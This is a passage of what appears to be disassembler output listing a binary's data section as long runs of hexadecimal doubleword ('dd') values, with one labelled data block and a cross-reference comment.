8A0DC9Ah, 2418654Eh, 2F950C8h, 0C1347DB4h, 8262A20h dd 2151971Dh, 2884C8FCh, 408CED01h, 9222D3B4h, 80A32225h dd 0B7512902h, 4252B562h, 0B818FDC4h, 0CE9DBD43h, 0ACD0040Ch dd 1E6A4E9Bh, 0B4481A80h, 0BFDD15D4h, 4DE6488h, 0AAAC629Fh dd 2E111888h, 93242338h, 0AC5CB94Bh, 2E7B075Fh, 60117CE8h dd 57F670FCh, 0A0E71A5Eh, 0A2FA2700h, 0DEE20A0Dh, 0D197B525h dd 90A784E4h, 26E4FC86h, 0DC4BF801h, 40D103Ch, 5BBCF68Ch dd 3FCC051Fh, 0C85CFC10h, 130597BDh, 8820CF74h, 8C55C191h dd 40212A90h, 982D9FAEh, 81AFD408h, 40944C28h, 137BB281h dd 483CEDDEh, 79183AD3h, 0A5B0028Ch, 0AA9AA438h, 9F6298D6h dd 80BC74C9h, 0E970B09Ch, 8F7DCB34h, 8C4F0779h, 0A3262800h dd 94D350h, 3B034F5Bh, 8B9FA7B1h, 734FDD7Ch, 0BA44E477h dd 719E2121h, 0A2E438A6h, 0BC017FF1h, 15347906h, 9410C4BCh dd 0EABE0231h, 90FB8h, 129491Dh, 117423F3h, 0F1258CEBh dd 571BE082h, 383294FBh, 13BCD6BFh, 2BCE9EEh, 0F68E27F1h dd 7F0048C4h, 3B0F5A93h, 2FA43B04h, 3328C04Bh, 16B905F4h dd 0C8346F8Ch, 83411C18h, 0E26C822Fh, 0B3611CD1h, 0F01154CFh dd 104D252h, 74BF7CC8h, 80CC161Bh, 0D93C9FE9h, 0FAAFF0h dd 0B39A947Dh, 0F936BB27h, 305A3E7Ch, 0BCFC1614h, 0B6BA90A8h dd 0DAD827h, 21B94FCCh, 20FC9057h, 0BD250B8Ch, 70407BD3h dd 490216FBh, 0B6F26355h, 0D9F4C07Fh, 5E8B006Fh, 60547D08h dd 16757351h, 0CDD08760h, 0D2507Ah, 78113DB1h, 15E8313Ah dd 6E7D20C0h, 399DCF84h, 0BF03B162h, 61464316h, 0E651F5A0h dd 18C40A49h, 0B42D34B6h, 820F3E76h, 511E5901h, 3069445Ah dd 0F700F304h, 7D6F015h, 58C6582Ah, 0DD0510E5h, 0F94ED8A8h dd 200313B0h, 99EF3C40h, 0A0905DFFh, 0BD002E7h, 1F162DABh dd 40570056h, 724BF4Bh, 876E731h, 0FA01AE69h, 0C59F0188h dd 4112F001h, 8C35F7F8h, 21B30AE8h, 8343805Fh, 0B81A08CFh dd 0C4C13428h, 40C5310h, 0E506ACE9h, 0EC2008D5h, 807EFE8Ch dd 0CC806042h, 0AB33806Dh, 1017F383h, 18CFEC40h, 2D801D6Ch dd 3518C406h, 9C340699h dd 21EF6208h, 0E80E0897h, 12C0C85h, 9440E410h, 283063FDh dd 5977BDBAh, 0CCC7B880h, 22C96310h, 66182D62h, 6F610395h dd 23C70818h, 0C62C8018h, 18A95A08h, 1DF6A01Fh, 8318A08h dd 2215CA0Bh, 874A10A8h, 202EF918h, 548097A0h, 360280A5h dd 18D403F9h, 8745C10h, 58C6FE11h, 3110845Fh, 5108C9F5h dd 18150378h, 28FA3841h, 48CC20AAh, 653C1908h, 4ABD1028h dd 8CB85588h, 4718382Ah, 4071BA68h, 0C4085A18h, 51148132h dd 9E16E3B8h, 5460A910h, 627DFC1Ah, 0A0B80892h, 589DA02h dd 34CC46FBh, 0F089798Ah, 57C188A0h, 0F0A41570h, 0C0FB6818h dd 51C87DBCh, 0B2E508CDh, 801F4C0Ch, 108CE3A8h, 77087AD0h dd 8949BB6Ch, 0A01362E6h, 0F0026AD5h, 0ACBD0279h, 0A45F2D05h dd 1886C64h, 5630C39h, 7092F810h, 3B91EB62h, 46F705D0h dd 10A48488h, 1868C649h, 0DF182683h, 2908CC37h, 0E6FF0A9h dd 157F6850h, 0F918E8B6h, 0BCBF0882h, 918CA581h, 0CA08B7E5h dd 2D59A164h, 95D1904h, 593425CEh, 6FCBE844h, 0A8CB104h dd 0EC8C980Ch, 64DBB8FDh, 4CB69D8h, 1F04C7C5h, 88920AC1h dd 8D37188h, 170C01C8h, 0A88610D1h, 807BE4E8h, 78CC3350h dd 63CBA12Ah, 19EE3004h, 88650824h, 1EBD3788h, 410871EDh dd 0D9A8019Bh, 897CA003h, 7549B492h, 0FC6A2A8Ch, 2AAAA720h dd 40C80B10h, 0F640E394h, 7B78407Ah, 0E6264C92h, 71B74072h dd 0D50696C4h, 5C44903Ch, 30BB40F2h, 40788540h, 0BA668A73h dd 20305CB1h, 2C206142h, 0A58C20B4h, 0B9F6320h, 0B10B9B59h dd 0FE589468h, 5430790Bh, 0EE980080h, 5C87E1FFh, 0C60080BBh dd 3942970h, 0A70491CCh, 48B805D2h, 810C4D7h, 39A4132h dd 0E7826AC9h, 0FFF54077h, 0E6B0847h, 0E4E9B7D4h, 42007C4Ch dd 815A3F8Dh, 0F57411F4h, 0AC75D506h, 0E090E04Dh, 92870FEFh dd 0BE008002h, 0BDC0217Dh, 0C22A0D24h, 0D5DDCA00h, 3CE13908h dd 0D2277309h, 92A08078h, 239DF66Dh, 0C64268ACh, 4DA500E8h dd 0E7CA4E2Eh, 1B3B2DC4h, 0BB6F18D2h, 271D0828h, 3848496Dh dd 46006E58h, 966AE79Ah, 707961B1h, 11F60303h, 4AB2CA9Eh dd 70022837h, 0ECFDC474h, 7E0A870Ah, 0F95900ACh, 2DF86124h dd 6D652800h, 0DB65529h, 0E3682715h, 0FB0F84C0h, 36BAB200h dd 0F198CD79h, 211D0491h, 0AB42ABEDh, 305A14C0h, 826D3F35h dd 20BEC419h, 68B040B6h, 3303140Ch, 4BAC3B7Dh, 0A300212h dd 0B5F216CEh, 5D27C0E0h, 0F60E53Ah, 0B0370FBh, 0A5278380h dd 120754Bh, 8C612117h, 39CB4ED1h, 0C904051Ch, 78F424D6h dd 982D6992h, 8004A0CBh, 0EBAC7E6Eh, 795DDCB0h, 901B6066h dd 21271602h, 2DB59E02h, 855A9968h, 0E41F55C4h, 323DC5D0h dd 7DC9CD0h, 38BE5090h, 9286DF74h, 6E001805h, 0FFDD01F4h dd 4FBB15h, 0DB041EA4h, 0F8439059h, 800A0F90h, 0C8242CCAh dd 53F0E4A0h, 17524640h, 0D02E4E90h, 9223C108h, 83C81560h dd 652FC42h, 26E508F9h, 8718B836h, 273076B0h, 2B662F60h dd 4D8F2882h, 0B0CA2481h, 5960839Bh, 0F00D65A8h, 2FB4AA41h dd 842236Ch, 21A79961h, 0D880E260h, 0EF0D7590h, 1967490Fh dd 7633E055h, 601B3923h, 210539B2h, 0D50A316Fh, 0A81E7547h dd 8088E10Dh, 80DC9041h, 0F072B901h, 5702CB78h, 67FEB391h dd 8FBCA030h, 1FD9BBAh, 65F02486h, 20D08422h, 0C1EFB361h dd 161C2979h, 0B0E083ACh, 0F0750232h, 0A984C98Dh, 0D8405043h dd 5295BBD4h, 20F0250h, 6D4D0458h, 0CDC5BB61h, 7CB02B1Dh dd 31317884h, 11F87D74h, 44608015h, 0AB8F7ACCh, 0F77B0082h dd 0EDCA3346h, 0F1F4FB52h, 803BA07Fh, 538612F5h, 514F2000h dd 0C6830C88h, 502DBE40h, 61920h, 8169418h, 0E96653F0h dd 118CF150h, 8858A8C2h, 1285864h, 6B3C684h, 0E567D662h dd 8288659h, 4820770Bh, 730F008Ch, 7BC0FB3Fh, 0F171AACCh dd 0EC028375h, 67D21133h, 0B0F0D5h, 0F26192D8h, 9F3644Bh dd 5E6D2507h, 0EE148406h, 62DE34CCh, 44346957h, 8806FC28h dd 2102B15h, 8EAF3342h, 0E45EEDACh, 9062B209h, 2F5DA91Ch dd 0CC80590Dh, 5BC549B5h, 4E0F7E00h, 76CC525Ah, 384A012Dh dd 2267D702h, 9DF84227h, 0F0F5046Bh, 400573DCh, 82258902h dd 2B0B715h, 0B00CE1FAh, 0D6DC833Ch, 0F8802820h, 7AE060h dd 0ED7B2BF1h, 0E2FF3703h, 2911F061h, 5445BEB0h, 8830E049h dd 1687FCC4h, 98F2210Fh, 337C9123h, 84BC802Ah, 8E0253F3h dd 0F967C119h, 2948470h, 9F059488h, 7F16E402h, 0B48E1862h dd 4490E109h, 98F30931h, 0AC0AAB0h, 252404BEh, 0E26EACh dd 84700662h, 44C8A6F2h, 0D090A7C8h, 0CE01B207h, 9BC31FE7h dd 4310F05Ch, 68BD1C60h, 722AC124h, 0ABEEFFACh, 24B9E440h dd 0C8802C16h, 4DFAEDD4h, 9610B0DDh, 56328F10h, 8275BD85h dd 0C88AC554h, 0C7803118h, 0A666FCAFh, 24DE4Dh, 1EF5B9B0h dd 4155CAC8h, 6ACFC0C6h, 67466500h, 9057EB6Ch, 4CF301B3h dd 2ECA6668h, 4DDC2001h, 0CFA9A83Bh, 0D0FA8040h, 6061CA0Ch dd 75124922h, 17007B8Ah, 0A8D64404h, 0A1E5CA0h, 19E8AC89h dd 0C53484A4h, 0E068C93Fh, 6B04F16Fh, 0E58857E7h, 0AC5C80AEh dd 0ACB07908h, 0FFA84A00h, 12DD5275h, 0D06F0097h, 0F7FA5481h dd 61077E1Fh, 6980E7FEh, 40CCBE90h, 449E00D7h, 821EC413h dd 1612CB0Ah, 800929Ah, 8853EC04h, 8BEE4h, 7211E02h, 301CB84h dd 67ED4D9Ah, 0A7031595h, 7CFA14A8h, 0A4B90D69h, 0C8D4902Ch dd 40F2D829h, 1E727E50h, 7584AB7h, 175330FEh, 6A06722Ch dd 0D521D0C1h, 9EDE3022h, 0B2245250h, 0D1C8C548h, 0F9407EE4h dd 30AF00CFh, 0B20E7AC0h, 3F390BC3h, 0ABA803C7h, 90CA5456h dd 0C05E7D50h, 0EDC439C8h, 6C266813h, 8F164C42h, 0CA698419h dd 4D019DDDh, 32F82090h, 7FECC607h, 20E92F68h, 8874BA14h dd 98C460ACh, 351F716Bh, 0B352C80Ah, 901E086Dh, 59297519h dd 0CE5E470h, 63CAA1A4h, 6D3853C8h, 2CA05458h, 0CE8CC504h dd 0B088E3FFh, 3E64988Eh, 0D8C91887h, 62A4EF24h, 0C4813534h dd 0FAAD4EA8h, 61C1E98Eh, 76741116h, 0AC8B260Ch, 80B1E60Bh dd 27ACA778h, 738904Ch, 96638F7Eh, 15E95159h, 9E04A2Fh dd 19BE25C5h, 34602AA0h, 0AC662655h, 1EA79318h, 492DDE90h dd 4C0072D4h, 0B3CF5165h, 16D1A906h, 0B0C0C036h, 0FEEA0BBCh dd 0F880773Eh, 0B03A7237h, 0DD4CAC77h, 6FE080BCh, 30882563h dd 1738C2ECh, 61128FF9h, 16FA2630h, 0FC5C04F0h, 623C0E5Eh dd 5E112B24h, 484C6A0Ch, 0BAAC058Ch, 0F28880A1h, 0DBF02767h dd 28B81D49h, 0FD04CF94h, 54D38814h, 3F89B080h, 50C4B879h dd 2A8472h, 6D337460h, 0A287FE5Ah, 127C3700h, 5B91F084h dd 7EBA0585h, 3C883E1h, 0EA746608h, 77CBA000h, 0ABF0484Bh dd 11522076h, 2CBBCD00h, 53065951h, 0C8D730CAh, 0AC6AFE18h dd 0C8FB5B30h, 9AC48184h, 8C6F04E4h, 89DEFFD3h, 4CE02110h dd 26404108h, 430300F1h, 2DAB9ED6h, 0D8A134FEh, 0AAA0CB06h dd 4A04785Eh, 7D54687h, 0F4816087h, 1B7F776Ch, 5E98583Bh dd 850028E7h, 83E9E845h, 7A6B840h, 80CE5C41h, 0FFC8B384h dd 88C02888h, 585804B5h, 957C121Ch, 0AFC494Ch, 9D4CF8D0h dd 0E4507018h, 38901A60h, 35746C98h, 0F4202090h, 665F0B77h dd 24A05D2Ch, 99C1582h, 2E21C39h, 0A6CAE5C5h, 0FFBC6026h dd 59800087h dd 0E2045217h, 0C46E9167h, 0AA27E138h, 55DC027Ah, 8C032E47h dd 438445Ch, 1087A61Fh, 0B06660A0h, 3F09255h, 13575648h dd 0EAE0A82Fh, 0B50FC783h, 5B84372h, 0B41E3121h, 0DCF8C0Bh dd 0D05CD1C8h, 0BC5450FEh, 8A6230E7h, 6BB18758h, 0F07428C5h dd 0FC0858D4h, 91580023h, 7E80C943h, 26CB893Fh, 0FA14409Ch dd 0C2370098h, 2D74B38Fh, 0B11FF6E1h, 884A02C8h, 9440C367h dd 5B1EFA1Eh, 40DFEE38h, 0E0A8A61Bh, 60D8C81Bh, 0CC5468AEh dd 8E84BEAh, 0D30014B0h, 8663E778h, 0A02715DBh, 0B082C02Ch dd 72ECFACFh, 0D035260Ch, 33EBEB4h, 3A16730Fh, 0ACBF9821h dd 0BC14AACAh, 67A4B0C1h, 1033DBE6h, 95E36804h, 4EB8CA38h dd 4A39D480h, 0CB4C0BD3h, 20EA7818h, 923B845Eh, 0CC0FBAF5h dd 0A921298Ch, 2B490CCh, 636D0435h, 0B78F2966h, 230D0008h dd 0F7CAB911h, 4CCCA90Fh, 24589429h, 0FA29785h, 0D31292A0h dd 581F08A0h, 54506662h, 0E43D600Eh, 3FFB0112h, 345B175Ch dd 0C800896Ch, 5D01A8DFh, 0A408F6B4h, 0E598D7F0h, 57887018h dd 0D04B1C90h, 0B5ACE830h, 98489A0Fh, 378E7204h, 788A784h dd 40984A24h, 95885056h, 4878BB6Ch, 1FE143FFh, 16208DE2h dd 32439F5Ah, 6853BAA0h, 216D6804h, 8C751080h, 0DDFF24D4h dd 20F46464h, 94766068h, 0C94F1FA0h, 0FCD85690h, 0A9038516h dd 84FE9400h, 0F8210828h, 7934F669h, 0B68F0E63h, 5F20FD62h dd 43ED5DAAh, 81D124h, 0A97810CBh, 1A137F38h, 78C2B2CAh dd 55E400D7h, 1C3719E5h, 8208DEEAh, 0FB3B664Fh, 89B62441h dd 0B00751C8h, 69884E84h, 0A894F9E0h, 36FA06B0h, 887AB892h dd 4080C43Eh, 0FD915029h, 32DD03FDh, 0AC75CA33h, 2810FEA9h dd 0C28C0C8h, 942CAE2Ah, 0C05A5B0h, 5BE88076h, 2835884Fh dd 0BC0458A5h, 0A90C5C11h, 784CCF50h, 67F50670h, 298025Ah dd 5FF2CC5Eh, 49E08424h, 0C116A237h, 0D007F72Fh, 0EDC57821h dd 0F3084004h, 0D4DC00C4h, 624527CAh, 0A0409892h, 2480EB4Ah dd 74AC5867h, 4F092442h, 0C30A3A8h, 696AE487h, 0D84C4050h dd 17BC2468h, 10C71814h, 18265155h, 1D008394h, 0ED78399h dd 0C82907E5h, 0D0B806B1h, 10DC0C9Dh, 4F5A4409h, 0CA2C18D9h dd 57370C6h, 83CF802Ah, 550801F2h, 93359F88h, 0BC942528h dd 404158A0h, 0E20F74BFh, 243B6F52h, 3AC03AF4h, 85C56Ah dd 0D4BFEBBEh, 0AC86745Bh, 0B89E41F2h, 477C000h, 1CFFF42h dd 8D1B6DD7h, 628CAE1Fh, 0D8C830ACh, 0F97B8819h, 1B316887h dd 10904BDFh, 6E50C0ACh, 18B0B1DCh, 0DDA82509h, 9D0E0C5h dd 3825FDCCh, 0A7E1C7CFh, 0AC4CB963h, 206D4B06h, 675BE7C0h dd 95EC63Ch, 70C852E1h, 121092E4h, 8086F668h, 542EB56Ch dd 0A2F78818h, 0B521199h, 8CAC76DEh, 269EF891h, 17A060A8h dd 0E4BDCD4Bh, 90DB000Bh, 4E268247h, 0D630CA12h, 3F29988Eh dd 0BA83011Bh, 0DEF23720h, 30A821B5h, 6585E28h, 4072CFD0h dd 0BF35407Fh, 0D4E74A64h, 0D8DCC07Ch, 0AC136F59h, 344098FDh dd 0CC76E273h, 0B6C83E3Fh, 3C5694C8h, 801E0512h, 0B34388F4h dd 0CB81D8DFh, 60085504h, 4F6D4DC8h, 0A8BC23B4h, 49C3B289h dd 48D031A8h, 60C5B07Ch, 2CE882ACh, 10AA2Eh, 817FE646h dd 898646Dh, 0FC127220h, 0EA53035Eh, 52C5FA1Dh, 0D8028BBh dd 730A75EFh, 0AC361E5Ah, 64402613h, 903ACE0Ch, 0FC270052h dd 5632B6E7h, 0BA25AC6Eh, 8F4CB98Eh, 58C492EEh, 5B14A3E8h dd 8F8CA090h, 291E89F8h, 6F60C988h, 0F40BE0BEh, 0B98C2428h dd 1DC40ADAh, 0A756484h, 6E4038B2h, 0B43E63Bh, 63CA8AA3h dd 34ADF022h, 653DE044h, 10ED800Dh, 510B5941h, 0B9A7C06h dd 2CC4CB43h, 0CCC0B412h, 665D26E5h, 707E2D54h, 333B3090h dd 16CD12D1h, 90000C4Ah, 0C057E78Ch, 65802FFh, 2342AC80h dd 85A60C8h, 7867B524h, 466EE0B0h, 0B1361C2Ah, 0EB698094h dd 6F0EC468h, 7DB8C09h, 56896F4h, 7716665Ch, 0C8AC3C31h dd 0C057A930h, 1E846B80h, 820881EEh, 75A2527Bh, 0FF0864D9h dd 0DE243821h, 798401D0h, 0E1673B04h, 0D02460FEh, 1CBBB901h dd 0AA1AC51h, 555AC889h, 0E70E3480h, 0F9002CDAh, 0FC8FCD77h dd 5D137967h, 32C03433h, 0DC59C75h, 0CA1680BAh, 4854A0B1h dd 0FF481018h, 7890AA09h, 76F994C3h, 40944D6Ch, 0CC526074h dd 0FBDBC00h, 0F1824A65h, 0A0CD749Fh, 0BAA6C288h, 4755E54h dd 283D44h, 63F07C0Ah, 436725C9h, 0F8A70480h, 871CFE57h dd 1D41561Eh, 0AA67CA04h, 882CC43Eh, 0EE6171F0h, 0F0ABEC10h dd 48B49ADAh, 63018890h, 58F0A945h, 20AD86A7h, 806FAC27h dd 9EBA0AF4h, 294F00B6h, 0C1B2BB46h, 0D10B7CB4h, 0A096878Eh dd 69F026E0h, 0F130B822h, 0B0D85010h, 21766300h, 0A5B761CCh dd 24CB0082h, 28F0B851h, 400062D4h, 0CA4A78D8h, 3ED17A53h dd 5ABE6DF2h, 0A218D509h, 844F8C01h, 0EC16D4CCh, 3BB07A60h dd 0F855B3h, 9ECA407Eh, 0D2D6DC4Bh, 297C60F1h, 7D710400h dd 0E75B980Fh, 316B4A17h, 806A6358h, 9C3C5F10h, 0A12991Ch dd 2706C232h, 358704C4h, 302CD042h, 0E7301662h, 6059101Eh dd 324EE51h, 4A754279h, 77F24406h, 0A62500F8h, 1E189E15h dd 738DAFFh, 70478FBEh, 620389C0h, 3843AE3Fh, 0D5CF03EAh dd 9806CB09h, 266E52C9h, 0E64ED3Eh, 0D3205120h, 0CE504FD0h dd 2C319630h, 1D042F26h dword_4E414C dd 1C05B9C9h, 4463D288h, 0C050D0E4h, 0E84898F0h, 0BBCA6908h ; DATA XREF: ___:off_43A870o dd 88F02F02h, 0C5298213h, 4C05449h, 58F2FAACh, 168922Ch dd 67E202AFh, 9881E295h, 0DC0DE5E6h, 43008438h, 5B1B5807h dd 3A021704h, 0D85C05DFh, 0C3AB9503h, 52D78071h, 644846F8h dd 1F02EDCDh, 5925C0B2h, 1C05D738h, 0F06C84ACh, 0B04D160Ch dd 0F4605A44h, 0B4332369h, 0C3E44210h, 40C9D705h, 0A22DE03Ch dd 7C09E8A9h, 6A237882h, 2CC21D04h, 7108033Eh, 8B48D795h dd 6819EC44h, 0A158F45Eh, 3422A021h, 0D21E7C17h, 5866AC98h dd 0A89934B1h, 0E032B698h, 2B58E07Ah, 0AFB4BD30h, 0A12C20A4h dd 49080210h, 5DCDE8E8h, 56586C01h, 5B80C817h, 82885200h dd 3C879F3h, 0F15E0A38h, 5C20C87Fh, 526E0BAh, 0BC882D8Fh dd 9AA0004Fh, 3107C8FFh, 0C310A2B7h, 0A7AA05F5h, 36D21C0h dd 8A1EAC79h, 0B6D02916h, 30D84085h, 16907D57h, 1A62F5Dh dd 3ECD784h, 487C6842h, 4204E4Ch, 37BD284h, 6827C46Eh dd 0E800DD9Ch, 87564A79h, 282D491h, 0EB73F078h, 0EC541D09h dd 0E08C79C0h, 2A180407h, 0E2BD8FC8h, 0D8B02E44h, 237C5180h dd 3367956Dh, 8380F19h, 300C4151h, 0D10379D0h, 474E6D82h dd 3C16A083h, 9294A15Dh, 0F8DECC59h, 0E8A7545Ch, 34180036h dd 554160EEh, 0CD16A5F7h, 5F1CBE0Ah, 9011478Bh, 22C41CCh dd 0CA7D0B44h, 607812D7h, 0F827CF5Ah, 42A984C2h, 1F4F14Ch dd 1FEB26F3h, 2D183063h, 0D7C2B800h, 0C1FBDEFFh, 9804EED9h dd 0FC16300Eh, 0BAB01F11h, 6C100995h, 0B668B8B8h, 0C81693D4h dd 2AF10624h, 80292021h, 12BFFC52h, 2614C05h, 84A62120h dd 0EE487044h, 881906D5h, 7A7041A9h, 7BFF0004h, 20486FEDh dd 7730C821h, 884F5096h, 0D3144AC2h, 6BD807C8h, 0CD002405h dd 0A01BE1C6h, 0FDB02h, 3D135EC4h, 85D24474h, 0C5086801h dd 0AB4F664Ch, 78477D4h, 0A65112F0h, 0DCDAF20Fh, 430B2C5Ch dd 0CA80402Eh, 78446019h, 6B3213BBh, 0B90022B8h, 0BE2E8257h dd 9C6E2726h, 0CC8EE284h, 0C965C885h, 582D28h, 7318E22Dh dd 80040FCAh, 322FEDE5h, 626CA933h, 20586108h, 5004B476h dd 82612F88h, 48D0742Ch, 193222Fh, 0A259E1C0h, 5B022C33h dd 2C9F8854h, 9B429448h, 234B3202h, 40B3CA4Eh, 59F0EBh dd 22865F2h, 9B11FFD9h, 0CEB55428h, 0B870C80Eh, 52F0972h dd 1C803090h, 95217D92h, 0FC41F800h, 540051D7h, 98223BCAh dd 408491h, 6CF25F33h, 0C7AC2720h, 1E4D897h, 0E5C48131h dd 49A887CAh, 10EE9E4h, 0F829AA2Ah, 0D0F268C4h, 5B50A798h dd 20880600h, 3B7BC5Eh, 203C7875h, 0A8946A2Dh, 375F103Ch dd 4E49310Bh, 1D688CE4h, 92693008h, 59FCE248h, 9BE70888h dd 0C9693D07h, 84BAD6C0h, 92340073h, 87F39377h, 84B2B919h dd 3067DB3Ah, 1602A8CEh, 1988DE2Fh, 0B98E2058h, 75911870h dd 0C0C63918h, 11594169h, 662763A1h, 69485DFh, 0B407E416h dd 0BA8138B9h, 0C0EC27CDh, 45C8131Fh, 91904346h, 11A36E4Eh dd 0D069B2A1h, 0F825DB31h, 0FB649010h, 2A3F0049h, 2C8B61B0h dd 90043381h, 0DAEF894Eh, 4E0C4F0h, 87FC423Ah, 3124909Fh dd 9CA62954h, 0F10CC7F0h, 10361CF8h, 662131Fh, 0F2F4D87Eh dd 112AC441h, 26C0AC5Ch, 32D59AA9h, 709CD824h, 8CE4182Dh dd 60EC9AE6h, 6812195Ah, 2D7C9D16h, 8712A0A4h, 0CCC69DFh dd 5BFB0553h, 0FA66CD25h, 2C94FC00h, 30971D96h, 73E06C27h dd 0CB7CBCE0h, 0B2D05C01h, 29DDE66Bh, 860402Fh, 0DBF76D55h dd 9527912h, 751CB006h, 0CAF00968h, 0B4817FCBh, 40AFB267h dd 0EC4072C8h, 0EA0F5D01h, 0FF3E665Eh, 50071884h, 850CBCC0h dd 0B4A0D488h, 75E50102h, 51CA566Ch, 1EE83C3Fh, 8313CB23h dd 4C79B8A1h, 7888DB04h, 2460971Ah, 0BC145228h, 2E0718B2h dd 72266B31h, 104566C8h, 0B80C98ACh, 0E8535DF0h, 0E117F0Ah dd 2DAFD04Ch, 68C77B00h, 8300FF78h, 8A5154EEh, 7A7FB4h dd 0A7B66020h, 6DE831D0h, 0F6F44600h, 0D8101739h, 0D1AB2FECh dd 0B51F881h, 79707599h, 479E1208h, 71519C20h, 4024B45Bh dd 0E8FCEDFAh, 0E6505D00h, 92A82A9Fh, 9B443E84h, 6617B7BEh dd 9D7081B1h, 0C2775h, 81BFC7D4h, 2564011h, 66B29719h dd 0D080619Ch, 457B40Fh, 8B3C1D58h, 75D8E927h, 4F84022Eh dd 0DCC9C3D0h, 65E050D2h, 8097D444h, 0C34BEC60h, 0D5AA1EC1h dd 0A9AE09EDh, 609604E6h, 0C106CA86h, 0EF592CD8h, 0E4154254h dd 10283209h, 9D88AC60h, 275ADC00h, 0D94DABF9h, 6CB21648h dd 1A748C20h, 0E14CBC2Fh, 733F7352h, 33C100A0h, 0FE4A223h dd 80F890FEh, 60348708h, 5DD3891Eh, 0D007324h, 0CA1285C0h dd 4A08FF66h, 61C3039h, 0AD403059h, 0BEC42799h, 0CB439C40h dd 38FB87F2h, 0FC824B14h, 5924E14Eh, 68092C3Ch, 0D4405FFEh dd 0C9002B91h, 0BAB2C362h, 0C84F88Bh, 246E16B7h, 609E2790h dd 7AFD5902h, 5AA180D5h, 1FB7578h, 0A80D2284h, 0D074F880h dd 0F0F1232Ch, 1098B5DEh, 344BE571h, 4B511488h, 0DF04D878h dd 0CF201F61h, 0D6F834B0h, 1A4E0548h, 9171D2C8h, 7E5159A0h dd 0E96C2420h, 26DCA157h, 0EDD8B005h, 890D8B2Dh, 0BE507814h dd 3FACE294h, 6304985Ch, 0D484937Ch, 55C4B0E4h, 0F064E023h dd 91612C0h, 3078FC2Ah, 0FE653922h, 0E4B8A0BCh, 385C2672h dd 1C682CA4h, 87EA079h, 708044B8h, 8B308853h, 581D803Ch dd 38CC0052h, 8407E77Eh, 511EECC6h, 8744482Bh, 7CA8D2ACh dd 0D44E5A00h, 166509FCh, 0A0F0125Eh, 0DBCC0989h, 0B0385DB6h dd 0DDE0F471h, 0C283648h, 0C0FE99DFh, 9F482Bh, 0DEF47900h dd 884B2778h, 20E86251h, 0F109F344h, 0E8E0F067h, 0FBD22B0h dd 77AA08E1h, 25428381h, 68153066h, 18009A4Fh, 0FC8253D7h dd 27CB8ECh, 5B5110DBh, 0BCC66E55h, 0F756AA2Eh, 0BDDB8000h dd 56D3211h, 2B57C222h, 1C808129h, 7C5502AFh, 4884960h dd 0E080429Ch, 8A050240h, 7F06C892h, 0C5585A76h, 0F2F3A028h dd 2826605Ch, 9A47C7B0h, 87810D0Bh, 89BCC0C4h, 0AC744FEAh dd 28E29220h, 0AA93CA84h, 7FFDB8C1h, 2B361E8h, 67D270E3h dd 887ADC18h, 8BA820h, 0D06CBA5Eh, 0ACC04A99h, 0E87E5609h dd 7454C21Bh, 94DD8C88h, 671F4381h, 0FD00AACFh, 0C1B1F0DEh dd 3BAB10EAh, 0D10371E7h, 5C3FA3BFh, 8481A2C0h, 6CC3D208h dd 3D380073h, 542262B2h, 0BF096F02h, 828CAD4Bh, 40E9490h dd 0DC68885Eh, 591583A0h, 0CC698813h, 4000285Dh, 673A1A7Ah dd 0B82C48B8h, 2E44A501h, 807E5868h, 0F90AD2E8h, 1F27255Eh dd 92D4B363h, 50E41ACFh, 43023884h, 2618E5ACh, 88D4A878h dd 0F70917E1h, 87A0907Ah, 78279778h, 802498FBh, 8426024h dd 8A88F202h, 2176629Ch, 729CC8D4h, 250B2C29h, 20988087h dd 50BE2113h, 95BC1E49h, 0FE620802h, 1D42445Ch, 705885A6h dd 0F51E48A8h, 62B23CBCh, 0AC485710h, 0B56077CAh, 3094CFC9h dd 0AC4D042Eh, 90FA0C9h, 602200C5h, 0C528F87h, 7F41994Bh dd 620EA418h, 2C77EABh, 5CBD0458h, 18D424BCh, 54EF80B2h dd 26008378h, 176AB763h, 3587E1DEh, 0A3A80DF7h, 64A79EF4h dd 0AA511368h, 60385AB1h, 1090C486h, 0CC45B502h, 0C15132F4h dd 0A0652EA7h, 0CA0CEC28h, 33F8168Eh, 2054600h, 5A5236ADh dd 9A72B04Ch, 0F0200194h, 0F4AC2867h, 7470A4E8h, 1C81B82h dd 0CC0609BAh, 58B61992h dd 5D40791Eh, 84A7259h, 6A2D0022h, 2F426DB2h, 120552E6h dd 1B79CAA2h, 73E2AC41h, 4F4754Fh, 7AFF1837h, 77161174h dd 6889489Ch, 259CF08Ah, 0CC6491EDh, 2B60E2F8h, 4403EBB0h dd 0DC22B5D6h, 2C7CB773h, 5C905742h, 0D87E6734h, 37A8530Eh dd 4000AC95h, 0ECAE3173h, 14264A79h, 48893898h, 84D20062h dd 8411C120h, 44084C54h, 0A7D83003h, 3C55A04h, 8C57CAF8h dd 84C0F00Fh, 0B419060Dh, 0B54E7E10h, 0DD3BE410h, 0F4A23F6h dd 232E1089h, 2DA45D98h, 50BA8408h, 10F90ACh, 0E07F5D01h dd 206A22ABh, 0C70D1268h, 0C0653316h, 121CC1E0h, 0D118212Ch dd 408786E0h, 9BA25988h, 3E62B03Fh, 535A1898h, 5585E5A8h dd 1C60A872h, 0AC61134Ah, 0F768C2C0h, 1309D866h, 0E8C3B01Fh dd 0B875A938h, 44034B38h, 75E9CA4h, 3D70BD4Ah, 39750822h dd 4BA730F0h, 0BE747CC6h, 6F5AE600h, 641281C0h, 6A3500B8h dd 0AE8FF9FEh, 241E5066h, 1925CACFh, 0FEE4F764h, 744F1661h dd 0E4141771h, 0F7828C8h, 8B4994FEh, 0FADA0240h, 611D2B0Bh dd 0D07485A4h, 178A006Eh, 0FEC784C1h, 0D767E57h, 5EEDF400h dd 86682572h, 2F096E1h, 0B467EB79h, 28F14C8h, 0D81E6500h dd 1677320Fh, 5A709AF9h, 0D5401217h, 73188300h, 0E8BC02DDh dd 584689EAh, 0AC9C9897h, 8C0C51CFh, 0A0FD0F0h, 4FFACAD9h dd 1AADBACCh, 0AB808860h, 7C6CE8C9h, 0DBAC06D8h, 4F5BD089h dd 52CAE003h, 58700119h, 0BE5C9FA8h, 8E482081h, 7873C94Ah dd 2467C08Ch, 6198C074h, 62E3FA54h, 0FE509303h, 80CEC887h dd 0B8E87477h, 0A37835C4h, 920A480h, 0B4890A26h, 10FA2E0Ch dd 877A05A8h, 0B67DD0A1h, 3AA859D8h, 0AE0E0155h, 8DF1D675h dd 3587EC30h, 0AD58A12Ah, 7AFC7C08h, 8C24A94Fh, 0DE497002h dd 2A58F189h, 149697ECh, 32125573h, 0C4B27FB7h, 0E906C453h dd 1003A567h, 0BFB48F00h, 32CB8D47h, 12064FC5h, 